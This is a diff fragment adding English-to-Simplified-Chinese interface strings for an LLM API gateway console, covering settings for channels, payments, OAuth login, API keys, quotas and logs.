+    "Configure Passkey (WebAuthn) login settings": "配置 Passkey (WebAuthn) 登录设置",
+    "Configure password-based login and registration": "配置基于密码的登录和注册",
+    "Configure per-model ratio for image inputs or outputs.": "配置图像输入或输出的每模型比例。",
+    "Configure per-tool unit prices ($/1K calls). Per-request models do not incur additional tool fees.": "为每个工具配置单价（$/1K 次调用）。按请求计费的模型不额外收取工具费用。",
+    "Configure predefined chat links surfaced to end users.": "配置向终端用户展示的预定义聊天链接。",
+    "Configure pricing model and display options": "配置定价模型和显示选项",
+    "Configure pricing ratios for a specific model.": "配置特定模型的定价比例。",
+    "Configure rate limiting rules for a specific user group.": "配置特定用户分组的速率限制规则。",
+    "Configure recharge pricing and payment gateway integrations": "配置充值定价和支付网关集成",
+    "Configure system-wide behavior and defaults": "配置系统范围的行为和默认设置",
+    "Configure the ratio for this group.": "配置此分组的比例。",
+    "Configure third-party authentication providers": "配置第三方身份验证提供商",
+    "Configure upstream providers and routing.": "配置上游提供者和路由。",
+    "Configure upstream worker or proxy service for outbound requests": "配置出站请求的上游工作程序或代理服务",
+    "Configure user quota allocation and rewards": "配置用户额度分配和奖励",
+    "Configure Waffo Pancake hosted checkout integration for USD-priced top-ups": "配置 Waffo Pancake 托管结账，用于美元计价的充值",
+    "Configure Waffo payment aggregation platform integration": "配置 Waffo 支付聚合平台集成",
+    "Configure xAI Grok model settings": "配置 xAI Grok 模型设置",
+    "Configure xAI Grok model specific settings": "配置 xAI Grok 模型特定设置",
+    "Configure your account behavior preferences": "配置您的账户行为偏好",
+    "Configure your account preferences and integrations": "配置您的账户偏好和集成",
+    "Confirm": "确认",
+    "Confirm Action": "确认操作",
+    "Confirm Batch Update": "确认批量更新",
+    "Confirm Billing Conflicts": "确认账单冲突",
+    "Confirm Changes": "确认更改",
+    "Confirm Cleanup": "确认清理",
+    "Confirm cleanup of inactive disk cache?": "确认清理不活跃的磁盘缓存？",
+    "Confirm clearing all channel affinity cache": "确认清空全部渠道亲和性缓存",
+    "Confirm clearing cache for this rule": "确认清空该规则缓存",
+    "Confirm Creem Purchase": "确认 Creem 购买",
+    "Confirm delete": "确认删除",
+    "Confirm disable": "确认禁用",
+    "Confirm enable": "确认启用",
+    "Confirm invalidate": "确认作废",
+    "Confirm log cleanup": "确认日志清理",
+    "Confirm log file cleanup?": "确认清理日志文件？",
+    "Confirm New Password": "确认新密码",
+    "Confirm password": "确认密码",
+    "Confirm Payment": "确认付款",
+    "Confirm Selection": "确认选择",
+    "Confirm settings and finish setup": "确认设置并完成安装",
+    "Confirm Unbind": "确认解绑",
+    "Confirm your identity before removing this Passkey from your account.": "在解绑当前账号的 Passkey 前请确认你的身份。",
+    "Confirm your identity with Two-factor Authentication before registering a Passkey.": "在注册 Passkey 前请使用两步验证确认你的身份。",
+    "Conflict": "矛盾",
+    "Connect": "连接",
+    "Connected to io.net service normally.": "已正常连接 io.net 服务。",
+    "Connection error": "连接错误",
+    "Connection failed": "连接失败",
+    "Connection successful": "连接成功",
+    "Console": "控制台",
+    "Console area": "控制台区域",
+    "Console Area": "控制台区域",
+    "Consume": "消耗",
+    "Container": "容器",
+    "Container name": "容器名称",
+    "Containers": "容器",
+    "Contains": "包含",
+    "Contains Match": "包含匹配",
+    "Content": "内容",
+    "Content displayed on the home page (supports Markdown)": "主页上显示的内容（支持 Markdown）",
+    "Content not found.": "内容未找到。",
+    "Content not modified!": "内容未修改！",
+    "Continue": "继续",
+    "Continue with {{name}}": "使用 {{name}} 继续",
+    "Continue with Discord": "使用 Discord 继续",
+    "Continue with GitHub": "使用 GitHub 继续",
+    "Continue with LinuxDO": "使用 LinuxDO 继续",
+    "Continue with OIDC": "使用 OIDC 继续",
+    "Continue with Telegram": "使用 Telegram 继续",
+    "Continue with WeChat": "使用 微信 继续",
+    "Control log retention and clean historical data.": "控制日志保留期限并清理历史数据。",
+    "Control passthrough behavior and connection keep-alive settings": "控制透传行为和连接保持活动设置",
+    "Control request frequency to prevent abuse and manage system load.": "控制请求频率以防止滥用和管理系统负载。",
+    "Control which sidebar areas and modules are available to all users.": "控制哪些侧边栏区域和模块对所有用户可用。",
+    "Controls whether user verification (biometrics/PIN) is required during Passkey flows.": "控制在通行密钥流程中是否需要用户验证（生物识别/PIN）。",
+    "Conversion rate from USD to your custom currency": "从美元到您的自定义货币的转换率",
+    "Convert reasoning_content to <think> tag in content": "将 reasoning_content 转换为 content 中的 <think> 标签",
+    "Copied": "已复制",
+    "Copied {{count}} key(s)": "已复制 {{count}} 个密钥",
+    "Copied to clipboard": "已复制到剪贴板",
+    "Copied: {{model}}": "已复制: {{model}}",
+    "Copied!": "已复制！",
+    "Copy": "复制",
+    "Copy All": "全部复制",
+    "Copy all backup codes": "复制所有备份代码",
+    "Copy All Codes": "复制所有代码",
+    "Copy API key": "复制 API 密钥",
+    "Copy authorization link": "复制授权链接",
+    "Copy Channel": "复制渠道",
+    "Copy code": "复制代码",
+    "Copy Connection Info": "复制连接信息",
+    "Copy failed": "复制失败",
+    "Copy Header": "复制请求头",
+    "Copy Key": "复制密钥",
+    "Copy Link": "复制链接",
+    "Copy model name": "复制模型名称",
+    "Copy model names": "复制模型名称列表",
+    "Copy prompt": "复制提示词",
+    "Copy redemption code": "复制兑换码",
+    "Copy referral link": "复制推荐链接",
+    "Copy secret key": "复制密钥",
+    "Copy selected codes": "复制选定的代码",
+    "Copy selected keys": "复制选定的密钥",
+    "Copy the key and paste it here": "复制密钥并粘贴到这里",
+    "Copy this prompt and send it to an LLM (e.g. ChatGPT / Claude) to help design your billing expression.": "复制以下提示词发送给 LLM（如 ChatGPT / Claude），让它帮你设计计费表达式",
+    "Copy to clipboard": "复制到剪贴板",
+    "Copy token": "复制令牌",
+    "Copy URL": "复制 URL",
+    "Core Features": "核心功能",
+    "Cost": "费用",
+    "Cost in USD per request, regardless of tokens used.": "每请求的美元费用，不考虑使用的令牌数。",
+    "Cost Tracking": "成本跟踪",
+    "Count must be between {{min}} and {{max}}": "计数必须介于{{min}}和{{max}}之间",
+    "Coze": "Coze",
+    "CPU Threshold (%)": "CPU 阈值 (%)",
+    "Create": "新建",
+    "Create a copy of:": "创建副本：",
+    "Create a new user group to configure ratio overrides for.": "创建一个新的用户分组来配置比例覆盖。",
+    "Create account": "创建账户",
+    "Create an account": "创建一个账户",
+    "Create and review invite or credit codes.": "创建和审查邀请或信用代码。",
+    "Create API Key": "创建 API 密钥",
+    "Create cache": "创建缓存",
+    "Create cache ratio": "创建缓存倍率",
+    "Create Channel": "创建渠道",
+    "Create Code": "创建代码",
+    "Create credentials for the root user": "为管理员创建登录凭据",
+    "Create deployment": "创建部署",
+    "Create Model": "创建模型",
+    "Create multiple API keys at once (random suffix will be added to names)": "一次性创建多个 API 密钥（名称将添加随机后缀）",
+    "Create multiple channels from multiple keys": "从多个密钥创建多个渠道",
+    "Create multiple redemption codes at once (1-100)": "一次创建多个兑换码 (1-100)",
+    "Create new subscription plan": "创建新的订阅套餐",
+    "Create or update frequently asked questions for users": "创建或更新用户的常见问题",
+    "Create or update system announcements for the dashboard": "创建或更新仪表板的系统公告",
+    "Create Plan": "新建套餐",
+    "Create Prefill Group": "创建预填充组",
+    "Create Provider": "创建提供商",
+    "Create Redemption Code": "创建兑换码",
+    "Create reusable bundles of models, tags, endpoints, and user groups to speed up configuration elsewhere in the console.": "创建模型、标签、端点和用户分组的可重用捆绑包，以加快控制台中其他地方的配置速度。",
+    "Create succeeded": "创建成功",
+    "Create Vendor": "创建供应商",
+    "Create your first group to reuse model, tag, or endpoint selections anywhere in the dashboard.": "创建您的第一个分组，以便在仪表板的任何位置重用模型、标签或端点选择。",
+    "Create, revoke, and audit API tokens.": "创建、撤销和审计 API 令牌。",
+    "Created": "创建时间",
+    "Created At": "创建时间",
+    "Credential generated": "凭据已生成",
+    "Credential refreshed": "凭据已刷新",
+    "Credentials": "凭证",
+    "Creem API key (leave blank unless updating)": "Creem API 密钥（除非更新，否则留空）",
+    "Creem Gateway": "Creem 网关",
+    "Creem Payment": "Creem 支付",
+    "Creem product ID from your Creem dashboard.": "从您的 Creem 仪表板获取 Creem 产品 ID。",
+    "Creem products must be a JSON array": "Creem 产品必须是 JSON 数组",
+    "Cross-group": "跨分组",
+    "Cross-group retry": "跨分组重试",
+    "Curate quick links to your different Domains": "整理到不同域的快速链接",
+    "Currency": "货币",
+    "Current Balance": "当前余额",
+    "Current Billing": "当前计费",
+    "Current Cache Size": "当前缓存大小",
+    "Current email: {{email}}. Enter a new email to change.": "当前邮箱：{{email}}。输入新邮箱以更改。",
+    "Current key": "当前密钥",
+    "Current models for the longest channel in this tag. May not include all models from all channels.": "此标签中最长渠道的当前模型。可能不包括所有渠道的所有模型。",
+    "Current Password": "当前密码",
+    "Current Price": "当前价格",
+    "Current quota": "当前额度",
+    "Current Value": "当前值",
+    "Current version": "当前版本",
+    "Current:": "当前：",
+    "Custom": "自定义",
+    "Custom (seconds)": "自定义(秒)",
+    "Custom Amount": "自定义金额",
+    "Custom API base URL. For official channels, New API has built-in addresses. Only fill this for third-party proxy sites or special endpoints. Do not add /v1 or trailing slash.": "自定义 API 基础 URL。对于官方渠道，New API 具有内置地址。仅针对第三方代理站点或特殊端点填写此项。请勿添加 /v1 或尾部斜杠。",
+    "Custom API base URL. Leave empty to use provider default.": "自定义 API 基础 URL。留空以使用提供商默认值。",
+    "Custom Currency": "自定义货币",
+    "Custom Currency Symbol": "自定义货币符号",
+    "Custom currency symbol is required": "自定义货币符号为必填项",
+    "Custom database driver detected.": "检测到自定义数据库驱动。",
+    "Custom Home Page": "自定义主页",
+    "Custom message shown when access is denied": "访问被拒绝时显示的自定义消息",
+    "Custom model (comma-separated)": "自定义模型（逗号分隔）",
+    "Custom module": "自定义模块",
+    "Custom multipliers when specific user groups use specific token groups. Example: VIP users get 0.9x rate when using \"edit_this\" group tokens.": "当特定用户分组使用特定令牌分组时的自定义乘数。示例：VIP 用户在使用“edit_this”分组令牌时获得 0.9 倍费率。",
+    "Custom OAuth": "自定义 OAuth",
+    "Custom OAuth Providers": "自定义OAuth提供商",
+    "Custom Seconds": "自定义秒数",
+    "Custom sidebar section": "自定义侧边栏部分",
+    "Custom Time Range": "自定义时间范围",
+    "Custom Zoom": "自定义缩放",
+    "Customize sidebar display content": "个性化设置左侧边栏的显示内容",
+    "Daily": "每天",
+    "Daily Check-in": "每日签到",
+    "Dark": "深色",
+    "Dashboard": "数据看板",
+    "Dashboards, tokens, and usage analytics.": "仪表板、令牌和使用分析。",
+    "Data Dashboard": "数据仪表板",
+    "Data directory:": "数据目录：",
+    "Data is stored locally on this device. Use system backups to keep a safe copy.": "数据存储在此设备本地。请使用系统备份来保留安全副本。",
+    "Data management and log viewing": "数据管理和日志查看",
+    "Database": "数据库",
+    "Database check": "数据库检查",
+    "Date and time when this announcement should be displayed": "此公告应显示的日期和时间",
+    "Date Range": "时间范围",
+    "Day": "天",
+    "days": "天",
+    "Days to Retain": "保留天数",
+    "Deducted by subscription": "由订阅抵扣",
+    "DeepSeek": "DeepSeek",
+    "default": "默认",
+    "Default": "默认",
+    "Default (New Frontend)": "新版前端（默认）",
+    "Default API Version *": "默认 API 版本 *",
+    "Default API version for this channel": "此渠道的默认 API 版本",
+    "Default Collapse Sidebar": "默认折叠侧边栏",
+    "Default Max Tokens": "默认最大 Token 数",
+    "Default Responses API version, if empty, will use the API version above": "默认响应 API 版本，如果为空，将使用上面的 API 版本",
+    "Default system prompt for this channel": "此渠道的默认系统提示",
+    "Default time granularity": "默认时间粒度",
+    "Default to auto groups": "默认使用自动分组",
+    "Default TTL (seconds)": "默认 TTL（秒）",
+    "Defaults to the wallet page when empty": "为空时默认使用钱包页面",
+    "Define API endpoints for this model (JSON format)": "为此模型定义 API 端点（JSON 格式）",
+    "Define endpoint mappings for each provider.": "为每个提供商定义端点映射。",
+    "Define per-group rules to add, remove, or append selectable groups for specific user groups.": "为特定用户组定义按分组规则，以添加、移除或追加可选分组。",
+    "Delete": "删除",
+    "Delete (": "删除 (",
+    "Delete {{count}} API key(s)?": "删除 {{count}} 个 API 密钥？",
+    "Delete Account": "删除账户",
+    "Delete All Disabled": "删除所有已禁用",
+    "Delete All Disabled Channels?": "删除所有已禁用的渠道？",
+    "Delete Auto-Disabled": "删除自动禁用",
+    "Delete Channel": "删除渠道",
+    "Delete Channels?": "删除渠道？",
+    "Delete failed": "删除失败",
+    "Delete group": "删除分组",
+    "Delete Header": "删请求头",
+    "Delete Invalid": "删除无效",
+    "Delete invalid codes": "删除无效代码",
+    "Delete invalid codes (used/disabled/expired)": "删除无效代码（已使用/已禁用/已过期）",
+    "Delete invalid redemption codes": "删除无效兑换码",
+    "Delete Invalid Redemption Codes?": "删除无效的兑换码？",
+    "Delete logs": "删除日志",
+    "Delete Model": "删除模型",
+    "Delete Models?": "删除模型？",
+    "Delete Provider": "删除提供商",
+    "Delete selected API keys": "删除选定的 API 密钥",
+    "Delete selected channels": "删除所选渠道",
+    "Delete selected models": "删除选定的模型",
+    "Deleted": "已注销",
+    "Deleted successfully": "删除成功",
+    "Deleting will permanently remove this subscription record (including benefit details). Continue?": "删除会彻底移除该订阅记录（含权益明细）。是否继续？",
+    "Deleting...": "删除中...",
+    "Demo site": "演示站点",
+    "Demo site mode": "演示站点模式",
+    "Demo Site Mode": "演示站点模式",
+    "Demote": "降级",
+    "Deployment created successfully": "创建部署成功",
+    "Deployment details": "部署详情",
+    "Deployment ID": "部署 ID",
+    "Deployment location": "部署位置",
+    "Deployment logs": "部署日志",
+    "Deployment Region *": "部署区域 *",
+    "Deployment requested": "部署已请求",
+    "Deployments": "部署",
+    "Desc": "描述",
+    "Describe": "图生文",
+    "Describe this model...": "描述此模型...",
+    "Describe this vendor...": "描述此供应商...",
+    "Description": "说明信息",
+    "Description is required": "描述为必填项",
+    "Designed and Developed by": "设计与开发",
+    "designed for scale": "为规模而设计",
+    "Destroyed": "已销毁",
+    "Detailed request logs for investigations.": "用于调查的详细请求日志。",
+    "Details": "详情",
+    "Detect All Upstream Updates": "检测所有上游更新",
+    "Detected database": "检测到的数据库",
+    "Detected high-risk status code redirect rules": "检测到以下高危状态码重定向规则：",
+    "Detection complete: {{add}} to add, {{remove}} to remove": "检测完成：新增 {{add}} 个，删除 {{remove}} 个",
+    "Detection failed": "检测失败",
+    "Determines how this group is applied elsewhere.": "确定此分组在其他地方的应用方式。",
+    "Developer Friendly": "开发者友好",
+    "Device Type Preference": "设备类型偏好",
+    "Dify": "Dify",
+    "Dify channels only support chatflow and agent, and agent does not support images": "Dify 渠道仅支持 chatflow 和 agent，agent 不支持图像",
+    "Digest:": "摘要：",
+    "Direction": "方向",
+    "Directory File Count": "目录文件数",
+    "Directory Total Size": "目录总大小",
+    "Disable": "禁用",
+    "Disable 2FA": "禁用 2FA",
+    "Disable All": "禁用全部",
+    "Disable on failure": "失败时禁用",
+    "Disable selected channels": "禁用选定的渠道",
+    "Disable selected models": "禁用选定的模型",
+    "Disable store passthrough": "禁止透传 store",
+    "Disable thinking processing models": "禁用思考处理模型",
+    "Disable this key?": "禁用此密钥？",
+    "Disable threshold (seconds)": "禁用阈值（秒）",
+    "Disable Two-Factor Authentication": "禁用双重身份验证",
+    "disabled": "已禁用",
+    "Disabled": "已禁用",
+    "Disabled all channels with tag: {{tag}}": "已禁用标签「{{tag}}」下的所有渠道",
+    "Disabled Reason": "禁用原因",
+    "Disabled Time": "禁用时间",
+    "Disabling...": "禁用中...",
+    "Discord": "Discord",
+    "Discount": "优惠",
+    "Discount map by recharge amount (JSON object)": "按充值金额的折扣映射 (JSON 对象)",
+    "Discount Rate": "折扣率",
+    "Discount rate must be ≤ 1": "折扣率必须 ≤ 1",
+    "Discount rate must be greater than 0": "折扣率必须大于 0",
+    "Discount Rate:": "折扣率：",
+    "Discount ratio for cache hits.": "缓存命中时的折扣比例。",
+    "Discouraged": "不推荐",
+    "Discovering...": "发现中...",
+    "Disk cache cleared": "磁盘缓存已清理",
+    "Disk Cache Settings": "磁盘缓存设置",
+    "Disk Cache Threshold (MB)": "磁盘缓存阈值 (MB)",
+    "Disk cache, system performance monitoring, and operation statistics": "磁盘缓存、系统性能监控与运维统计",
+    "Disk Hits": "磁盘命中",
+    "Disk Threshold (%)": "磁盘阈值 (%)",
+    "Display in Currency": "以货币显示",
+    "Display Mode": "显示模式",
+    "Display name": "显示名称",
+    "Display Name": "显示名称",
+    "Display name and email used in outgoing messages": "用于发送消息的显示名称和电子邮件",
+    "Display Name Field": "显示名称字段",
+    "Display name for this chat client.": "此聊天客户端的显示名称。",
+    "Display name for this monitoring group (max 50 characters)": "此监控分组的显示名称（最多 50 个字符）",
+    "Display name for this payment method.": "此支付方式的显示名称。",
+    "Display name shown to users.": "显示给用户的名称。",
+    "Display Options": "显示选项",
+    "Display Token Statistics": "显示 Token 统计信息",
+    "Displays the mobile sidebar.": "显示移动侧边栏。",
+    "Do not over-trust this feature. IP may be spoofed. Please use with nginx, CDN and other gateways.": "请勿过度信任此功能，IP 可能被伪造，请配合 nginx 和 cdn 等网关使用",
+    "Do not repeat check-in; only once per day": "请勿重复签到；每天仅一次",
+    "Docs": "文档",
+    "Documentation Link": "文档链接",
+    "Documentation or external knowledge base.": "文档或外部知识库。",
+    "does not exist or might have been removed.": "不存在或可能已被移除。",
+    "Domain": "域名",
+    "Domain Filter Mode": "域名过滤模式",
+    "Don't have an account?": "没有账号？",
+    "Done": "完成",
+    "Doubao Coding Plan": "豆包 Coding Plan",
+    "Doubao custom API address editing unlocked": "已解锁豆包自定义 API 地址编辑",
+    "DoubaoVideo": "DoubaoVideo",
+    "Double check the configuration below. Your system will be locked until initialization is complete.": "仔细检查以下配置。您的系统将在初始化完成前保持锁定状态。",
+    "Download": "下载",
+    "Draw": "绘图",
+    "Drawing": "绘图",
+    "Drawing logs": "绘制日志",
+    "Drawing Logs": "绘图日志",
+    "Drawing task records": "绘图任务记录",
+    "Duplicate": "重复",
+    "Duration": "耗时",
+    "Duration (hours)": "时长 (小时)",
+    "Duration Settings": "有效期设置",
+    "Duration Unit": "有效期单位",
+    "Duration Value": "有效期数值",
+    "Dynamic Pricing": "动态计费",
+    "e.g. ¥ or HK$": "例如，¥ 或 HK$",
+    "e.g. 401, 403, 429, 500-599": "例如 401、403、429、500-599",
+    "e.g. 8 means 1 USD = 8 units": "例如，8 表示 1 美元 = 8 单位",
+    "e.g. Basic Plan": "例如：基础套餐",
+    "e.g. example.com": "例如，example.com",
+    "e.g. llama3.1:8b": "例如 llama3.1:8b",
+    "e.g. My GitLab": "例如：My GitLab",
+    "e.g. my-gitlab": "例如：my-gitlab",
+    "e.g. New API Console": "例如，New API 控制台",
+    "e.g. openid profile email": "例如：openid profile email",
+    "e.g. Suitable for light usage": "例如：适合轻度使用",
+    "e.g., 0.95": "例如，0.95",
+    "e.g., 100": "例如，100",
+    "e.g., 123456": "例如，123456",
+    "e.g., 2025-04-01-preview": "例如，2025-04-01-preview",
+    "e.g., 50": "例如，50",
+    "e.g., 500000": "例如，500000",
+    "e.g., 7342866812345": "例如，7342866812345",
+    "e.g., 8 means 8 local currency per USD": "例如，8 表示每美元兑换 8 单位本地货币",
+    "e.g., Alipay, WeChat": "例如，支付宝，微信",
+    "e.g., Basic Package": "例如，基本套餐",
+    "e.g., CN2 GIA": "例如，CN2 GIA",
+    "e.g., Core APIs, OpenAI, Claude": "例如，核心 API，OpenAI，Claude",
+    "e.g., d6b5da8hk1awo8nap34ube6gh": "例如，d6b5da8hk1awo8nap34ube6gh",
+    "e.g., default, vip, premium": "例如，default, vip, premium",
+    "e.g., gpt-4, claude-3": "例如：gpt-4、claude-3",
+    "e.g., https://api.example.com (path before /suno)": "例如，https://api.example.com (在 /suno 之前的路径)",
+    "e.g., https://api.openai.com/v1/chat/completions": "例如，https://api.openai.com/v1/chat/completions",
+    "e.g., https://ark.cn-beijing.volces.com": "例如，https://ark.cn-beijing.volces.com",
+    "e.g., https://docs-test-001.openai.azure.com": "例如，https://docs-test-001.openai.azure.com",
+    "e.g., https://fastgpt.run/api/openapi": "例如，https://fastgpt.run/api/openapi",
+    "e.g., OpenAI GPT-4 Production": "例如，OpenAI GPT-4 生产环境",
+    "e.g., preview": "例如，preview",
+    "e.g., prod_xxx": "例如，prod_xxx",
+    "e.g., Recommended for China Mainland Users": "例如，推荐给中国大陆用户",
+    "e.g., us-central1 or JSON format for model-specific regions": "例如，us-central1 或模型特定区域的 JSON 格式",
+    "e.g., v2.1": "例如，v2.1",
+    "Each backup code can only be used once.": "每个备份代码只能使用一次。",
+    "Each item must be an object with a single key-value pair.": "每个条目必须是包含单个键值对的对象。",
+    "Each item must have exactly one key-value pair.": "每个条目必须恰好包含一个键值对。",
+    "Each line represents one keyword. Leave blank to disable the list but keep the switch states.": "每行代表一个关键词。留空以禁用列表，但保留开关状态。",
+    "Each tier supports 0~2 conditions (over len, p, c); the last tier is the catch-all without conditions. Use len (full input length, including cache hits) for tier conditions to avoid mis-routing when cache hits reduce p.": "每个档位支持 0~2 个条件（针对 len、p、c），最后一档为兜底档无需条件。建议条件使用 len（完整输入长度，含缓存命中），避免缓存命中降低 p 导致档位误判。",
+    "Earn rewards when your referrals add funds. Transfer accumulated rewards to your balance anytime.": "当您的推荐人充值时即可获得奖励。随时将累计奖励转移到您的余额。",
+    "Edit": "编辑",
+    "Edit {{title}}": "编辑{{title}}",
+    "Edit all channels with tag:": "编辑所有带有标签的渠道：",
+    "Edit Announcement": "编辑公告",
+    "Edit API Shortcut": "编辑 API 快捷方式",
+    "Edit Channel": "编辑渠道",
+    "Edit chat preset": "编辑聊天预设",
+    "Edit discount tier": "编辑折扣档位",
+    "Edit FAQ": "编辑常见问题",
+    "Edit group rate limit": "编辑组速率限制",
+    "Edit model": "编辑模型",
+    "Edit Model": "编辑模型",
+    "Edit OAuth Provider": "编辑 OAuth 提供商",
+    "Edit payment method": "编辑支付方式",
+    "Edit Prefill Group": "编辑预填充组",
+    "Edit product": "编辑产品",
+    "Edit ratio override": "编辑倍率覆盖",
+    "Edit Rule": "编辑规则",
+    "Edit selectable group": "编辑可选分组",
+    "Edit Tag": "编辑标签",
+    "Edit Tag:": "编辑标签：",
+    "Edit Uptime Kuma Group": "编辑 Uptime Kuma 分组",
+    "Edit Vendor": "编辑供应商",
+    "edit_this": "edit_this",
+    "Editor mode": "编辑器模式",
+    "Email": "邮箱",
+    "Email (required for verification)": "电子邮件（验证必需）",
+    "Email Address": "电子邮件地址",
+    "Email Alias Restriction": "电子邮件别名限制",
+    "Email bound successfully!": "邮箱绑定成功！",
+    "Email Domain Restriction": "电子邮件域限制",
+    "Email Domain Whitelist": "电子邮件域白名单",
+    "Email Field": "邮箱字段",
+    "Email Verification": "电子邮件验证",
+    "Embeddings": "嵌入",
+    "Empty value will be saved as {}.": "空值将保存为 {}。",
+    "Enable": "启用",
+    "Enable 2FA": "启用 2FA",
+    "Enable All": "启用全部",
+    "Enable check-in feature": "启用签到功能",
+    "Enable Data Dashboard": "启用数据仪表板",
+    "Enable demo mode with limited functionality": "启用功能受限的演示模式",
+    "Enable Discord OAuth": "启用 Discord OAuth",
+    "Enable Disk Cache": "启用磁盘缓存",
+    "Enable drawing features": "启用绘制功能",
+    "Enable filtering": "启用过滤",
+    "Enable FunctionCall thoughtSignature Fill": "启用 FunctionCall 思维签名填充",
+    "Enable GitHub OAuth": "启用 GitHub OAuth",
+    "Enable Groups": "启用分组",
+    "Enable if this is an OpenRouter enterprise account with special response format": "如果这是具有特殊响应格式的 OpenRouter 企业账户，则启用",
+    "Enable io.net deployments": "启用 io.net 部署",
+    "Enable io.net model deployment service in console": "在控制台启用 io.net 模型部署服务",
+    "Enable LinuxDO OAuth": "启用 LinuxDO OAuth",
+    "Enable OIDC": "启用 OIDC",
+    "Enable or disable this channel": "启用或禁用此渠道",
+    "Enable or disable this model": "启用或禁用此模型",
+    "Enable or disable top navigation modules globally.": "全局启用或禁用顶部导航模块。",
+    "Enable Passkey": "启用 Passkey",
+    "Enable Performance Monitoring": "启用性能监控",
+    "Enable rate limiting": "启用速率限制",
+    "Enable Request Passthrough": "启用请求透传",
+    "Enable selected channels": "启用选定的渠道",
+    "Enable selected models": "启用选定的模型",
+    "Enable SSL/TLS": "启用 SSL/TLS",
+    "Enable SSRF Protection": "启用 SSRF 保护",
+    "Enable streaming mode for the test request.": "为测试请求启用流式模式。",
+    "Enable Telegram OAuth": "启用 Telegram OAuth",
+    "Enable test mode for Creem payments": "启用 Creem 支付测试模式",
+    "Enable this key?": "启用此密钥？",
+    "Enable Turnstile": "启用 Turnstile",
+    "Enable Two-factor Authentication or Passkey in your profile to unlock sensitive operations.": "在您的个人资料中启用双重身份验证或 Passkey 以解锁敏感操作。",
+    "Enable unlimited quota for this API key": "为此 API 密钥启用无限配额",
+    "Enable violation deduction": "启用违规扣费",
+    "Enable Waffo": "启用 Waffo",
+    "Enable Waffo Pancake": "启用 Waffo Pancake",
+    "Enable WeChat Auth": "启用微信授权",
+    "Enable when proxying workers that fetch images over HTTP.": "当代理通过 HTTP 获取图像的 worker 时启用。",
+    "Enabled": "已启用",
+    "Enabled all channels with tag: {{tag}}": "已启用标签「{{tag}}」下的所有渠道",
+    "Enabled Status": "启用状态",
+    "Enabling...": "正在启用...",
+    "End": "结束",
+    "End Error": "结束错误",
+    "End Reason": "结束原因",
+    "End Time": "结束时间",
+    "Endpoint": "端点",
+    "Endpoint config": "端点配置",
+    "Endpoint Configuration": "端点配置",
+    "Endpoint Type": "端点类型",
+    "Endpoint:": "端点：",
+    "Endpoints": "端点",
+    "English": "英文",
+    "Ensure Prefix": "保前缀",
+    "Ensure Suffix": "保后缀",
+    "Enter 6-digit code": "输入 6 位数字代码",
+    "Enter a name": "输入名称",
+    "Enter a new name": "输入新名称",
+    "Enter a positive or negative amount to adjust the quota": "输入正数或负数以调整配额",
+    "Enter a valid email or leave blank": "请输入有效的邮箱地址或留空",
+    "Enter a value and press Enter": "输入值并按回车键",
+    "Enter amount in {{currency}}": "输入金额（{{currency}}）",
+    "Enter amount in tokens": "输入额度（Token）",
+    "Enter announcement content (supports Markdown & HTML)": "输入公告内容（支持 Markdown 和 HTML）",
+    "Enter announcement content (supports Markdown/HTML)": "输入公告内容（支持 Markdown/HTML）",
+    "Enter API Key": "请输入 API Key",
+    "Enter API Key, format: APIKey|Region": "请输入 API Key，格式：APIKey|Region",
+    "Enter API Key, one per line, format: APIKey|Region": "请输入 API Key（每行一个），格式：APIKey|Region",
+    "Enter application token": "输入应用程序令牌",
+    "Enter authenticator code": "输入身份验证器代码",
+    "Enter backup code (e.g., CAWD-OQDV)": "输入备用代码（例如，CAWD-OQDV）",
+    "Enter code": "输入代码",
+    "Enter code or backup code": "输入代码或备用代码",
+    "Enter Completion price to calculate ratio": "输入 Completion 价格来计算比率",
+    "Enter Creem API key": "输入 Creem API 密钥",
+    "Enter custom API endpoint URL": "输入自定义 API 端点 URL",
+    "Enter deployment region or JSON mapping:": "输入部署区域或 JSON 映射：",
+    "Enter display name": "输入显示名称",
+    "Enter HTML code (e.g., <p>About us...</p>) or a URL (e.g., https://example.com) to embed as iframe": "输入 HTML 代码（例如，<p>关于我们...</p>）或 URL（例如，https://example.com）以作为 iframe 嵌入",
+    "Enter Input price to calculate ratio": "输入 Input 价格来计算比率",
+    "Enter key, format: AccessKey|SecretAccessKey|Region": "请输入密钥，格式：AccessKey|SecretAccessKey|Region",
+    "Enter key, one per line, format: AccessKey|SecretAccessKey|Region": "请输入密钥（每行一个），格式：AccessKey|SecretAccessKey|Region",
+    "Enter model name": "请输入模型名称",
+    "Enter new key to update": "输入新密钥以更新",
+    "Enter new key to update, or leave empty to keep current key": "输入新密钥以更新，或留空以保留当前密钥",
+    "Enter new tag name (leave empty to disband tag)": "输入新标签名称（留空以解散标签）",
+    "Enter new tag name or leave empty": "输入新标签名称或留空",
+    "Enter new token to update": "输入新令牌以更新",
+    "Enter one API key per line for batch creation": "每行输入一个 API 密钥进行批量创建",
+    "Enter one key per line for batch creation": "每行输入一个密钥进行批量创建",
+    "Enter one keyword per line": "每行输入一个关键词",
+    "Enter password": "输入密码",
+    "Enter password (8-20 characters)": "输入密码（8-20 个字符）",
+    "Enter password (min 8 characters)": "请输入密码（至少 8 个字符）",
+    "Enter quota in {{currency}}": "输入 {{currency}} 额度",
+    "Enter quota in tokens": "输入令牌配额",
+    "Enter secret key": "输入密钥",
+    "Enter system prompt (user prompt takes priority)": "输入系统提示词（用户提示词优先）",
+    "Enter tag name (optional)": "输入标签名称（可选）",
+    "Enter the 6-digit code from your authenticator app": "输入来自身份验证器应用的 6 位代码",
+    "Enter the 6-digit Time-based One-Time Password or 8-character backup code from your authenticator app.": "输入来自身份验证器应用的 6 位基于时间的单次密码或 8 位备份代码。",
+    "Enter the complete URL, supports": "输入完整的 URL，支持",
+    "Enter the Coze agent ID": "输入 Coze 代理 ID",
+    "Enter the full URL of your Gotify server": "输入您的 Gotify 服务器的完整 URL",
+    "Enter the knowledge base ID": "输入知识库 ID",
+    "Enter the path before /suno, usually just the domain": "输入 /suno 之前的路径，通常只是域名",
+    "Enter the quota amount in {{currency}}": "输入 {{currency}} 的配额数量",
+    "Enter the quota amount in tokens": "输入令牌配额数量",
+    "Enter the verification code": "输入验证码",
+    "Enter threshold": "输入阈值",
+    "Enter token counts to preview the estimated cost (excluding group multipliers).": "输入 token 数量以预览预估费用（不含用户组倍率）。",
+    "Enter URL...": "输入 URL...",
+    "Enter username": "输入用户名",
+    "Enter verification code": "输入验证码",
+    "Enter webhook secret": "输入 webhook 密钥",
+    "Enter your authenticator code or a backup code": "输入您的身份验证器代码或备份代码",
+    "Enter your email": "输入您的电子邮件",
